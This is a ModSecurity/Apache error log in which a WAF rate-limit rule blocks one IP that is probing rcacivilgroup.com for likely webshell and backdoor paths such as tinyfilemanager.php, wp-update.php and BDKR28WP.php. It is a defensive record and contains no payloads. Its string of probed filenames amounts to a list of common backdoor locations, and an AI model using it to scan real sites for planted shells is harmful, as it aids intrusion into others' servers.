[Sun Apr 12 01:32:49.103756 2026] [:error] [pid 34152:tid 34163] [client 158.158.55.67:34085] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xqq.php"] [unique_id "adqFwYFtE4RhFslT1Dq9ZgAAAAk"]
[Sun Apr 12 01:32:49.691581 2026] [:error] [pid 44700:tid 44761] [client 158.158.55.67:59337] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "adqFwWryPgh_uW4QPCllBwAAANE"]
[Sun Apr 12 01:32:52.044628 2026] [:error] [pid 36909:tid 36926] [client 158.158.55.67:14554] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "adqFxEGk5GhxTCzHUOoWvgAAAQ8"]
[Sun Apr 12 01:32:52.545388 2026] [:error] [pid 44698:tid 44718] [client 158.158.55.67:15275] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "adqFxBgoH9UWd-U3D55gKgAAAI8"]
[Sun Apr 12 01:32:53.163989 2026] [:error] [pid 36938:tid 36951] [client 158.158.55.67:13269] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plss3.php"] [unique_id "adqFxYSWpa_VL1JPU6zcIQAAAYs"]
[Sun Apr 12 01:32:53.986880 2026] [:error] [pid 44698:tid 44717] [client 158.158.55.67:59370] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adqFxRgoH9UWd-U3D55gLgAAAI4"]
[Sun Apr 12 01:32:54.595316 2026] [:error] [pid 44700:tid 44765] [client 158.158.55.67:32101] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adqFxmryPgh_uW4QPCllCwAAANU"]
[Sun Apr 12 01:32:55.205786 2026] [:error] [pid 34152:tid 34171] [client 158.158.55.67:32121] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adqFx4FtE4RhFslT1Dq9eAAAABE"]
[Sun Apr 12 01:32:55.858916 2026] [:error] [pid 44700:tid 44756] [client 158.158.55.67:17028] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aaa.php"] [unique_id "adqFx2ryPgh_uW4QPCllEAAAAMw"]
[Sun Apr 12 01:32:56.788085 2026] [:error] [pid 36938:tid 36940] [client 158.158.55.67:6224] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adqFyISWpa_VL1JPU6zcJwAAAYA"]
[Sun Apr 12 01:32:57.393062 2026] [:error] [pid 36909:tid 36913] [client 158.158.55.67:17067] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adqFyUGk5GhxTCzHUOoWxAAAAQI"]
[Sun Apr 12 01:32:58.326684 2026] [:error] [pid 36938:tid 36946] [client 158.158.55.67:7018] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adqFyoSWpa_VL1JPU6zcKQAAAYY"]
[Sun Apr 12 01:32:59.224770 2026] [:error] [pid 44701:tid 44800] [client 158.158.55.67:35645] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "adqFyxGZAP4MrlxEPFc47wAAAFg"]
[Sun Apr 12 01:32:59.927958 2026] [:error] [pid 44701:tid 44776] [client 158.158.55.67:30439] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adqFyxGZAP4MrlxEPFc49QAAAEQ"]
[Sun Apr 12 01:33:00.516490 2026] [:error] [pid 44701:tid 44781] [client 158.158.55.67:17859] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adqFzBGZAP4MrlxEPFc4-AAAAEg"]
[Sun Apr 12 01:33:01.117326 2026] [:error] [pid 45064:tid 45095] [client 158.158.55.67:6594] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adqFzZcHBvLyJ6EUhUr9ogAAAUM"]
[Sun Apr 12 01:33:01.827178 2026] [:error] [pid 34152:tid 34178] [client 158.158.55.67:14549] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "adqFzYFtE4RhFslT1Dq9jQAAABg"]
[Sun Apr 12 01:33:02.465458 2026] [:error] [pid 44701:tid 44779] [client 158.158.55.67:17889] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adqFzhGZAP4MrlxEPFc4_QAAAEc"]
[Sun Apr 12 01:33:03.247997 2026] [:error] [pid 44698:tid 44713] [client 158.158.55.67:34600] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adqFzxgoH9UWd-U3D55gSgAAAIo"]
[Sun Apr 12 01:33:03.988968 2026] [:error] [pid 44698:tid 44716] [client 158.158.55.67:12773] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adqFzxgoH9UWd-U3D55gTAAAAI0"]
[Sun Apr 12 01:33:05.113015 2026] [:error] [pid 36909:tid 36932] [client 158.158.55.67:13515] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "adqF0UGk5GhxTCzHUOoWzQAAARU"]
[Sun Apr 12 01:33:05.801720 2026] [:error] [pid 44700:tid 44766] [client 158.158.55.67:54991] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adqF0WryPgh_uW4QPCllGgAAANY"]
[Sun Apr 12 01:33:06.579372 2026] [:error] [pid 34152:tid 34175] [client 158.158.55.67:6395] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adqF0oFtE4RhFslT1Dq9lgAAABU"]
[Sun Apr 12 01:33:07.191822 2026] [:error] [pid 36938:tid 36958] [client 158.158.55.67:54340] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adqF04SWpa_VL1JPU6zcNAAAAZI"]
[Sun Apr 12 01:33:08.022672 2026] [:error] [pid 36938:tid 36963] [client 158.158.55.67:54425] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "adqF1ISWpa_VL1JPU6zcNgAAAZc"]
[Sun Apr 12 01:33:08.885790 2026] [:error] [pid 44700:tid 44758] [client 158.158.55.67:12306] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adqF1GryPgh_uW4QPCllHQAAAM4"]
[Sun Apr 12 01:33:10.424311 2026] [:error] [pid 44701:tid 44790] [client 158.158.55.67:12289] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adqF1hGZAP4MrlxEPFc5DAAAAE8"]
[Sun Apr 12 01:33:11.303588 2026] [:error] [pid 44701:tid 44771] [client 158.158.55.67:13523] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adqF1xGZAP4MrlxEPFc5EAAAAEA"]
[Sun Apr 12 01:33:12.186441 2026] [:error] [pid 44701:tid 44799] [client 158.158.55.67:12399] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "adqF2BGZAP4MrlxEPFc5FQAAAFc"]
[Sun Apr 12 01:33:13.177661 2026] [:error] [pid 36938:tid 36960] [client 158.158.55.67:52290] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adqF2YSWpa_VL1JPU6zcPQAAAZQ"]
[Sun Apr 12 01:33:14.223551 2026] [:error] [pid 44701:tid 44782] [client 158.158.55.67:19830] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adqF2hGZAP4MrlxEPFc5FwAAAEk"]
[Sun Apr 12 01:33:15.933469 2026] [:error] [pid 44701:tid 44778] [client 158.158.55.67:6272] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adqF2xGZAP4MrlxEPFc5HQAAAEY"]
[Sun Apr 12 01:33:17.610553 2026] [:error] [pid 44700:tid 44757] [client 158.158.55.67:42510] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "adqF3WryPgh_uW4QPCllMAAAAM0"]
[Sun Apr 12 01:33:20.492224 2026] [:error] [pid 34152:tid 34165] [client 158.158.55.67:30487] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adqF4IFtE4RhFslT1Dq9ogAAAAs"]
[Sun Apr 12 01:33:22.324087 2026] [:error] [pid 36938:tid 36950] [client 158.158.55.67:19815] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adqF4oSWpa_VL1JPU6zcSwAAAYo"]
[Sun Apr 12 01:33:23.417613 2026] [:error] [pid 45064:tid 45093] [client 158.158.55.67:13034] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adqF45cHBvLyJ6EUhUr9rQAAAUE"]
[Sun Apr 12 01:33:24.479589 2026] [:error] [pid 36938:tid 36948] [client 158.158.55.67:43459] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "adqF5ISWpa_VL1JPU6zcUAAAAYg"]
[Sun Apr 12 01:33:25.265031 2026] [:error] [pid 45064:tid 45106] [client 158.158.55.67:12873] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adqF5ZcHBvLyJ6EUhUr9rwAAAU0"]
[Sun Apr 12 01:33:26.384055 2026] [:error] [pid 36909:tid 36918] [client 158.158.55.67:42538] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adqF5kGk5GhxTCzHUOoW8QAAAQc"]
[Sun Apr 12 01:33:27.554866 2026] [:error] [pid 36909:tid 36933] [client 158.158.55.67:56234] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adqF50Gk5GhxTCzHUOoW9gAAARY"]
[Sun Apr 12 01:33:28.403705 2026] [:error] [pid 44698:tid 44723] [client 158.158.55.67:6307] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adqF6BgoH9UWd-U3D55gWAAAAJQ"]
[Sun Apr 12 01:33:29.404983 2026] [:error] [pid 44698:tid 44706] [client 158.158.55.67:18985] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "adqF6RgoH9UWd-U3D55gWwAAAIM"]
[Sun Apr 12 01:33:47.144521 2026] [:error] [pid 36909:tid 36924] [client 158.158.55.67:42453] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adqF-0Gk5GhxTCzHUOoXKAAAAQ0"]
[Sun Apr 12 01:33:47.871532 2026] [:error] [pid 45064:tid 45113] [client 158.158.55.67:32139] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adqF-5cHBvLyJ6EUhUr9ygAAAVQ"]
[Sun Apr 12 01:33:49.082290 2026] [:error] [pid 44700:tid 44744] [client 158.158.55.67:53678] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adqF_WryPgh_uW4QPCllWQAAAMA"]
[Sun Apr 12 01:33:49.920616 2026] [:error] [pid 44701:tid 44781] [client 158.158.55.67:16551] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adqF_RGZAP4MrlxEPFc5YQAAAEg"]
[Sun Apr 12 01:33:50.924952 2026] [:error] [pid 36909:tid 36919] [client 158.158.55.67:32103] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "adqF_kGk5GhxTCzHUOoXKwAAAQg"]
[Sun Apr 12 01:33:52.023709 2026] [:error] [pid 36938:tid 36950] [client 158.158.55.67:13504] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "adqGAISWpa_VL1JPU6zcdgAAAYo"]
[Sun Apr 12 01:33:52.883515 2026] [:error] [pid 36938:tid 36940] [client 158.158.55.67:7031] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "adqGAISWpa_VL1JPU6zcegAAAYA"]
[Sun Apr 12 01:33:54.127507 2026] [:error] [pid 36938:tid 36944] [client 158.158.55.67:12761] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "adqGAoSWpa_VL1JPU6zchQAAAYQ"]
[Sun Apr 12 01:33:55.223945 2026] [:error] [pid 34152:tid 34157] [client 158.158.55.67:43566] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "adqGA4FtE4RhFslT1Dq9xAAAAAM"]
[Sun Apr 12 01:33:55.948982 2026] [:error] [pid 44700:tid 44752] [client 158.158.55.67:34105] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "adqGA2ryPgh_uW4QPCllYwAAAMg"]
[Sun Apr 12 01:33:56.861736 2026] [:error] [pid 36909:tid 36920] [client 158.158.55.67:44170] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "adqGBEGk5GhxTCzHUOoXOwAAAQk"]
[Sun Apr 12 01:33:57.686672 2026] [:error] [pid 44698:tid 44710] [client 158.158.55.67:12447] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "adqGBRgoH9UWd-U3D55ghAAAAIc"]
[Sun Apr 12 01:33:58.536012 2026] [:error] [pid 36909:tid 36927] [client 158.158.55.67:13811] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "adqGBkGk5GhxTCzHUOoXQQAAARA"]
